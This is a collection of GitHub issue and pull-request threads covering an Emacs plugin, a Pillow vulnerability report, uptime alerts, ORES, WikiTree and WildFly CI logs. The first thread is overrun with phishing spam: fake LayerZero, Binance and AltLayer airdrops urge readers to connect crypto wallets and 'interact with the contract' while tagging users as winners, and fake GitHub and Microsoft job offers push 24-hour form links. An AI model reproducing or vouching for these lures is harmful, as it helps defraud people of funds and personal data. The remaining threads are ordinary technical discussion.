text:
c-d c-w does not mark current word

It makes sense that jump actions ignore the target at the cursor, but for deletion it should not be ignored.

totally agreed.
THANKS
获取 Outlook for Android
On Fri, Jun 2, 2017 at 12:30 PM +0800, "oldpig" notifications@github.com wrote:
It makes sense that jump actions ignore the target at the cursor, but for deletion it should not be ignored.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

but C-c SPACE w'  is shorter and more convenient to use than c-d c-w t m'.
获取 Outlook for Android
On Fri, Jun 2, 2017 at 12:30 PM +0800, "oldpig" notifications@github.com wrote:
It makes sense that jump actions ignore the target at the cursor, but for deletion it should not be ignored.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

C-c SPACE w has slightly different semantics. It will modify the content of the clipboard. I agree that it can be a workaround in some(perhaps most) situations, while this issue is still valid.

$1000 Christmas Airdrop for 10,000 Eligible Users! 🎅🎁
Welcome to the festive $1000 Christmas Airdrop by LayerZero! Get ready to unwrap the joy and claim your share of $ZRO tokens. Here's your guide to participating:
Claim Now on LayerZero Official

Airdrop Participation Steps:

Connect Your Wallet:

Visit the LayerZero Airdrop.
Integrate your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Spread the Christmas Spirit:

Facebook:
Share on Facebook
Twitter:
Share on Twitter
Instagram:
Share on Instagram

Verification Check:

Confirm your eligibility for the LayerZero Christmas Airdrop and secure your $ZRO tokens.

Don't miss out on this festive collaboration – claim your Christmas tokens now and let the holiday spirit shine with LayerZero!

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, here's how to Claim

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

3. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share on Twitter

Winners: @iiiyu, @lomocc, @luchenwei9266, @xhm121, @0502lian, @web3deadline, @LilRind, @italoag, @ashish-1221, @chinggg

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

🚀 LayerZero Total Airdrop - Claim Your Instant $100 Prize! 🎉
Attention LayerZero community! You are eligible to instantly win $100 from a $3,000 prize pool, available for the first 10,000 eligible users. Act fast to secure your spot! Claim Now

Welcome to the LayerZero Total Airdrop! Follow these simple steps to claim your prize:
Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Coinbase, and others).

2. 🔄 Claim Your Instant $100:

After connecting your wallet.
Click on the "Claim" button to initiate the process.

3. 🔐 Interact with the Contract:

Once claimed.
Interact with the smart contract using the connect method to secure your instant $100 prize.

💰 Don't miss out on your chance to be one of the lucky 10,000 users! Act now to ensure your spot in the LayerZero Total Airdrop and claim your instant $100 prize.
🎉 Get ready for an exciting journey with LayerZero - where rewards await at every step!
Winners: @plamengj, @m-beelman, @RAYNBINGHAN3, @nineseo, @souvikmalikaot, @colsay, @joulnumberone

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @CaptainYin, @arnaldobjj, @ourway, @renzhengwei, @trbble, @flavioronquetti, @pingaowang

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @zyzhangyang, @wrule, @Shiyajian, @ZeusChen888, @houjunchen, @realcly, @chis66

AltLayer Airdrop Season One Announcement

Exciting news! AltLayer token (ALT) is set to launch on Binance on January 25, 2024. This milestone couldn't have been reached without our amazing community. Your support has been crucial from conceptualization to product development.
To show our gratitude, we're inviting you to join the "ALT Token community" through an airdrop for early supporters and partners. Below is a summary:

Total Allocated ALT Tokens: 300,000,000 (3% of total supply)
Distribution Categories:

NFT Holders
Altitude Campaign Participants
EigenLayer Restakers
EigenLayer Ecosystem Partners
Celestia Stakers and others

For detailed criteria and information, check the full announcement here.
Claim opens from January 25 to February 25, 2024. Unclaimed ALT tokens after this period will return to AltLayer’s Treasury.
Thank you for being part of AltLayer's success! More to come in Season One, stay tuned.
Note: Certain regions are restricted from the airdrop. Please review the disclaimer before participating.
Winners: @yj7778826, @pixelsomatic, @schaugf, @JTTL, @itsusony, @Ferezoz, @bunchoup, @marcus-d5r, @rayguang, @zhutianzhi, @rociiu, @SciNoLimits, @amirghm, @demoronator, @sch17, @bmschwartz, @CodingDinoCat, @streamnsight, @josescasanova, @alitaheri

AltLayer Airdrop Season One Announcement

Exciting news! AltLayer token (ALT) is set to launch on Binance on January 25, 2024. This milestone couldn't have been reached without our amazing community. Your support has been crucial from conceptualization to product development.
To show our gratitude, we're inviting you to join the "ALT Token community" through an airdrop for early supporters and partners. Below is a summary:

Total Allocated ALT Tokens: 300,000,000 (3% of total supply)
Distribution Categories:

NFT Holders
Altitude Campaign Participants
EigenLayer Restakers
EigenLayer Ecosystem Partners
Celestia Stakers and others

For detailed criteria and information, check the full announcement here.
Claim opens from January 25 to February 25, 2024. Unclaimed ALT tokens after this period will return to AltLayer’s Treasury.
Thank you for being part of AltLayer's success! More to come in Season One, stay tuned.
Note: Certain regions are restricted from the airdrop. Please review the disclaimer before participating.
Winners: @bazakoskon, @tarmylan, @JohnRosey, @kevinjoyner, @trbble, @superhelten, @ClownQiang, @Sonnenhut, @d-eepen, @Koldus, @stcb201, @sofiffa, @terrygm1957, @sibsfinx, @juniorfr, @neibla, @BrentGuttmann, @BBTING, @salmanpary, @BabuRao69420

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
miaekim, @nirasnet, @Unmark3d, @fireflyk, @pontan403, @klniu, @VincentXWD, @brianliu-dev, @Daddysharks949, @Barca0412, @tknhs, @517821341, @scottgl9, @system123, @ffckaburga, @yybit, @ricklancee, @rdenadai, @VirtualN, @Galenki

Exciting Job Opportunity at Microsoft!
Join us and be part of a team dedicated to driving innovation and success!
How to Apply:
To apply for this exciting opportunity, please click here.
Job Description:

Position: Software Developer
Salary: $300,000 per year
Location: Remote
Benefits:

Comprehensive health plan
Company-contributed retirement plan
Flexible working hours
Collaborative and inclusive work environment

Requirements:

Proven experience in software development
Proficiency in programming languages such as Python, JavaScript, or Java
Familiarity with frameworks such as React, Angular, or Vue.js
Problem-solving skills and ability to work in a team

Note: This position is open to candidates from anywhere in the world.hylsceptic, @gluckzhang, @tinahaibodi, @amlcodes, @Ajax-sg, @svzdvd, @kw-jk, @myxtype, @mstrazds, @TrillionXwin, @Tannerrea, @cod3rboy, @qkum, @touhonoob, @AgoL5866, @albertocevallos, @agsonmez, @muchrm, @bussyjd, @renaynay

authors: 1250285 Centaur ChiyuChen0117 LeonardoWlopes arconejeros charoenlap drfabiocastro gerardiscala gqgserver jabreuint shafwansyah steveg-gpsaustrack whunmr

repo: whunmr/emacsIDEAs


text:
Pillow vulnerabilities

Description
There are multiple osv vulnerability issues with the Pillow 9.x package dependency. An update to 10.x (https://github.com/whylabs/whylogs/blob/mainline/python/pyproject.toml#L68) is currently not possible.
Some vulnerabilities:

https://osv.dev/vulnerability/GHSA-3f63-hfp8-52jq
https://osv.dev/GHSA-56pw-mpj4-fxww
https://osv.dev/GHSA-8ghj-p4vj-mr35

Steps to reproduce:

poetry install
osv-scanner --lockfile poetry.lock (https://github.com/google/osv-scanner)

Suggestions
Could we update Pillow to its latest version?

[x] I have reviewed the Guidelines for Contributing and the Code of Conduct.

changes merged to allow newer versions of PIL and updates lock file. Slated for next whylogs release, 1.4.1

source: gharchive/issue

repo: whylabs/whylogs

license_type: permissive

license_source: github-api


text:
最新版无法使用 conc desi

最新版无法使用 conc desi

你肯定是用了第三方的屏蔽CK代码，去检查config.sh和taskbdfore.sh吧

大佬能不能帮忙看看我这个什么问题

https://github.com/whyour/qinglong/issues/1464

authors: Kaystar funyhook sanxianla

repo: whyour/qinglong


text:
🛑 Ancora 🇪🇸 (es) is down

In 4cc7c8c, Ancora 🇪🇸 (es) (https://holiday-lescala.com/es/h/casa-ancora/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Ancora 🇪🇸 (es) is back up in 930df92 after 30 minutes.

repo: whytspace/upptime-holiday-lescala

license: MIT


text:
🛑 Terany 🇬🇧 (en) is down

In 406fc3a, Terany 🇬🇧 (en) (https://holiday-lescala.com/en/h/house-terany/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Terany 🇬🇧 (en) is back up in d08e94c after 2 days, 16 hours, 13 minutes.


text:
🛑 Mastodon is down

In c508194, Mastodon (https://mstdn.uec.tokyo/about) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Mastodon is back up in 95bc3ee after 7 minutes.

repo: whywriteit/upptime


text:
Add precache endpoint to v2 API

Bug: https://phabricator.wikimedia.org/T148714

Cool! +1, although I don't know python :)

What do you think about taking the whole rc blob rather than a set of query parameters?  That would give us the freedom to add new event types to our precaching config.  E.g. I want to add "new" as in "new page creation" some time soon for the draftquality model.

What do you think about taking the whole rc blob rather than a set of query parameters? That would give us the freedom to add new event types to our precaching config. E.g. I want to add "new" as in "new page creation" some time soon for the draftquality model.

We can easily post the whole revision-create event unchanged. A bit of overhead in networking, but you'd be able to figure out whether it's a new page or just a new revision by looking at the rev_parent_id property. So no objections from our side.

@Pchelolo How revision-create blob looks like? Can you point out to a documentation?

@Ladsgroup Here's the schema: https://github.com/wikimedia/mediawiki-event-schemas/blob/master/jsonschema/mediawiki/revision/create/1.yaml
Here's an example event:
{
  "comment": "BLABLABLA",
  "database": "wikidatawiki",
  "meta": {
    "domain": "www.wikidata.org",
    "dt": "2017-03-03T21:41:21+00:00",
    "id": "248bdd8b-005a-11e7-804c-90b11c2fb49a",
    "request_id": "c6e37cf2-73cb-454d-95e7-32f70087cfee",
    "schema_uri": "mediawiki/revision/create/1",
    "topic": "mediawiki.revision-create",
    "uri": "https://www.wikidata.org/wiki/Q10022493"
  },
  "page_id": 11125321,
  "page_is_redirect": false,
  "page_namespace": 0,
  "page_title": "Q10022493",
  "performer": {
    "user_groups": [
      "bot",
      "*",
      "user",
      "autoconfirmed"
    ],
    "user_id": 123456,
    "user_is_bot": true,
    "user_text": "BLABLABLA"
  },
  "rev_content_format": "wikibase-item",
  "rev_content_model": "wikibase-item",
  "rev_id": 460857280,
  "rev_len": 6911,
  "rev_minor_edit": false,
  "rev_parent_id": 446118948,
  "rev_sha1": "28yefn57vzn4tooueol368xboox4jyy",
  "rev_timestamp": "2017-03-03T21:41:21Z"
}

Added the data blob. This works in my localhost: http://0.0.0.0:8080/v2/precache/?data={"database":"testwiki", "rev_id": 1234}. @Pchelolo: Please inform us if there is any change in the schema you mentioned.

@Ladsgroup Omg, I didn't keep track of this and didn't notice the latest changes! Oh no....
So, if you wanna get the whole revision-create event in the GET query parameter, that's pretty much impossible. The longest URI you can have is 2,083 characters, and since the event is pretty big and contains page titles (that can be really long in MediaWiki) the URI length can easily exceed the maximum.. So, this endpoint should be POST instead of a GET and provide the event in the body.
If you don't wanna have the whole event but just a sunset of it, I don't quite understand the move to the ?data parameter, individual query params would've been better..

source: gharchive/pull-request

authors: Ladsgroup Pchelolo halfak

repo: wiki-ai/ores

license: mit

license_source: bigquery


text:
Change the way features are registered

When adding a new feature:

src/options.js file no longer needs to be modified
feature's name, id, description and category are now defined in the feature source file, i.e. together with the feature
feature code no longer has to call chrome.storage.sync

This PR is a suggestion with changes to familyTimeline and printerFriendly as examples. If everyone is OK with this change, I'll update other features and the documentation.
Redoing #63

Please hold off on building on this as I have reworked all the options code and have a PR coming

I have also redesigned how features are registered as part of the options work I have been working on for a while.
It is going to take me some time to combine the two designs and it may not end up looking like this so, as I said above, please don't change any other features to use this system until I have reconciled the design.

Rob, if it's easier for you, we can first revert my change.

If you can that would be great. You can then see if parts of your change are still desirable. I got some feedback on my changes from Ian - who wanted radio button support, so I'm implementing that and also cleaning up my changes. I will try to get a PR in today.

authors: PeWu RobPavey

repo: wikitree/wikitree-browser-extension


text:
Wfly 4354 default ejb methods

https://issues.jboss.org/browse/WFLY-4354

Windows Build 900 is now running using a merge of 4c74b02a13a2af427d654b875594877371f676c0

Core - Full Integration Build 478 is now running using a merge of 4c74b02a13a2af427d654b875594877371f676c0

Linux Build 1211 is now running using a merge of 4c74b02a13a2af427d654b875594877371f676c0

Windows Build 900 outcome was SUCCESS using a merge of 4c74b02a13a2af427d654b875594877371f676c0
Summary: Tests passed: 3020, ignored: 95 Build time: 0:18:34

Linux Build 1211 outcome was SUCCESS using a merge of 4c74b02a13a2af427d654b875594877371f676c0
Summary: Tests passed: 3020, ignored: 95 Build time: 0:18:55

Core - Full Integration Build 478 outcome was SUCCESS using a merge of 4c74b02a13a2af427d654b875594877371f676c0
Summary: Tests passed: 2859, ignored: 378 Build time: 0:48:06

Ah great catch, thanks.

Looks like this is an outdated commit.  Commit dmlloyd@368fe4b205c76ee53cb8d62f6117767f8ba977d4 should be used instead.

Core - Full Integration Build 481 is now running using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d

Linux Build 1214 is now running using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d

Windows Build 903 is now running using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d

Looks like dmlloyd@0dd4de7 is a cherry-pick of dmlloyd@368fe4b .

Windows Build 903 outcome was SUCCESS using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d
Summary: Tests passed: 3020, ignored: 95 Build time: 0:18:37

Linux Build 1214 outcome was SUCCESS using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d
Summary: Tests passed: 3020, ignored: 95 Build time: 0:19:00

Core - Full Integration Build 481 outcome was SUCCESS using a merge of 7a9840fb257dd403d70aaffb194ec3e741d3ec7d
Summary: Tests passed: 2859, ignored: 378 Build time: 0:47:58

authors: dmlloyd jmartisk wildfly-ci

repo: wildfly/wildfly-core


text:
[WFLY-19064][WFLY-19065] Update the EE 11 preview to use current EE 11 releases

https://issues.redhat.com/browse/WFLY-19064
https://issues.redhat.com/browse/WFLY-19065

/retest

/retest

/retest

repo: wildfly/wildfly


text:
[WFLY-5371] Use ee channel for messaging cluster

Use the JGroups channel ee for messaging cluster communication.
JIRA: https://issues.jboss.org/browse/WFLY-5371

cc @pferraro

Linux Build 8318 outcome was FAILURE using a merge of 0484a8031ac477fc904e21cdb0f4e92efccae540
Summary: Tests failed: 73 (59 new), passed: 3001, ignored: 361 Build time: 02:12:08
Failed tests
org.jboss.as.test.clustering.cluster.cdi.CdiFailoverTestCase(SYNC-tcp).testGracefulUndeployFailover: 	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:83)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
Caused by: java.lang.Exception: {
    "WFLYCTL0080: Failed services" => {"jboss.infinispan.web.\"cdi-failover.war\"" => "org.jboss.msc.service.StartException in service jboss.infinispan.web.\"cdi-failover.war\": org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Bad response received from coordinator: CacheNotFoundResponse"},
    "WFLYCTL0180: Services with missing/unavailable dependencies" => ["jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.START is missing [jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.cache]"]
}
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
------- Stdout: -------
13:53:21,168 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
13:53:21,236 WARNING [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Bundles path is deprecated and no longer used.
13:53:21,241 INFO  [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Starting container with: [/usr/java/latest/bin/java, -D[Standalone], -Xms64m, -Xmx512m, -Xmx512m, -Djava.net.preferIPv4Stack=true, -Djava.net.preferIPv4Stack=false, -Djava.awt.headless=true, -Djboss.modules.system.pkgs=org.jboss.byteman, -Djboss.dist=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djboss.dist=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djava.net.preferIPv6Addresses=true, -server, -Dts.timeout.factor=100, -Dnode0=::1, -Dnode1=::1, -Dmcast=ff13::1, -Dmcast.ttl=0, -Djbossas.ts.submodule.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering, -Djbossas.ts.integ.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/.., -Djbossas.ts.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../.., -Djbossas.project.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../.., -Djboss.inst=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0, -Djboss.node.name=node-0, -ea, -Djboss.home.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0, -Dorg.jboss.boot.log.file=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone/log/server.log, -Dlogging.configuration=file:/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone/configuration/logging.properties, -jar, /opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/jboss-modules.jar, -mp, /opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/modules:/opt/buildAgent/work/a31d203e70e89f90/dist/target/wildfly-10.0.0.CR2-SNAPSHOT/modules:/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/modules, org.jboss.as.standalone, -Djboss.home.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0, -Djboss.server.base.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone, -Djboss.server.log.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone/log, -Djboss.server.config.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone/configuration, -Dts.wildfly.version=10.0.0.CR2-SNAPSHOT, -c=standalone-full-ha.xml]
13:53:21,359 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
13:53:21,471 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
13:53:21,530 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
 [0m13:53:21,805 INFO  [org.jboss.modules] (main) JBoss Modules version 1.4.4.Final
 [0m [0m13:53:22,046 INFO  [org.jboss.msc] (main) JBoss MSC version 1.2.6.Final
 [0m [0m13:53:22,134 INFO  [org.jboss.as] (MSC service thread 1-4) WFLYSRV0049: WildFly Full 10.0.0.CR2-SNAPSHOT (WildFly Core 2.0.0.CR4) starting
 [0m [0m13:53:24,000 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 16) WFLYCTL0028: Attribute 'enabled' in the resource at address '/subsystem=datasources/data-source=ExampleDS' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
 [0m [0m13:53:24,402 INFO  [org.jboss.as.server] (Controller Boot Thread) WFLYSRV0039: Creating http management service using socket-binding (management-http)
 [0m [0m13:53:24,443 INFO  [org.xnio] (MSC service thread 1-3) XNIO version 3.3.2.Final
 [0m [0m13:53:24,449 INFO  [org.xnio.nio] (MSC service thread 1-3) XNIO NIO Implementation Version 3.3.2.Final
 [0m [0m13:53:24,531 INFO  [org.jboss.as.connector.subsystems.datasources] (ServerService Thread Pool -- 39) WFLYJCA0004: Deploying JDBC-compliant driver class org.h2.Driver (version 1.3)
 [0m [0m13:53:24,597 INFO  [org.wildfly.extension.io] (ServerService Thread Pool -- 43) WFLYIO001: Worker 'default' has auto-configured to 4 core threads with 32 task threads based on your 2 available processors
 [0m [0m13:53:24,638 INFO  [org.wildfly.iiop.openjdk] (ServerService Thread Pool -- 45) WFLYIIOP0001: Activating IIOP Subsystem
 [0m [0m13:53:24,640 INFO  [org.jboss.as.clustering.infinispan] (ServerService Thread Pool -- 44) WFLYCLINF0001: Activating Infinispan subsystem.
 [0m [0m13:53:24,640 INFO  [org.jboss.as.connector] (MSC service thread 1-2) WFLYJCA0009: Starting JCA Subsystem (WildFly/IronJacamar 1.3.0.Final)
 [0m [0m13:53:24,648 INFO  [org.jboss.as.connector.deployers.jdbc] (MSC service thread 1-4) WFLYJCA0018: Started Driver service with driver-name = h2
 [0m [33m13:53:24,699 WARN  [org.jboss.as.txn] (ServerService Thread Pool -- 66) WFLYTX0013: Node identifier property is set to the default value. Please make sure it is unique.
 [0m [0m13:53:24,724 INFO  [org.jboss.as.naming] (ServerService Thread Pool -- 57) WFLYNAM0001: Activating Naming Subsystem
 [0m [0m13:53:24,761 INFO  [org.jboss.as.jsf] (ServerService Thread Pool -- 52) WFLYJSF0007: Activated the following JSF Implementations: [main]
 [0m [0m13:53:24,816 INFO  [org.jboss.as.clustering.jgroups] (ServerService Thread Pool -- 49) WFLYCLJG0001: Activating JGroups subsystem.
 [0m [0m13:53:24,841 INFO  [org.jboss.as.security] (ServerService Thread Pool -- 64) WFLYSEC0002: Activating Security Subsystem
 [0m [0m13:53:24,866 INFO  [org.jboss.as.security] (MSC service thread 1-4) WFLYSEC0001: Current PicketBox version=4.9.3.Final
 [0m [0m13:53:24,936 INFO  [org.jboss.as.naming] (MSC service thread 1-4) WFLYNAM0003: Starting Naming Service
 [0m [0m13:53:24,976 INFO  [org.jboss.as.mail.extension] (MSC service thread 1-4) WFLYMAIL0001: Bound mail session [java:jboss/mail/Default]

org.jboss.as.test.clustering.cluster.cdi.CdiFailoverTestCase(SYNC-tcp).testGracefulSimpleFailover: 	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:83)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
Caused by: java.lang.Exception: {
    "WFLYCTL0080: Failed services" => {"jboss.infinispan.web.\"cdi-failover.war\"" => "org.jboss.msc.service.StartException in service jboss.infinispan.web.\"cdi-failover.war\": org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Bad response received from coordinator: CacheNotFoundResponse"},
    "WFLYCTL0180: Services with missing/unavailable dependencies" => ["jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.START is missing [jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.cache]"]
}
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
------- Stdout: -------
13:57:39,820 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
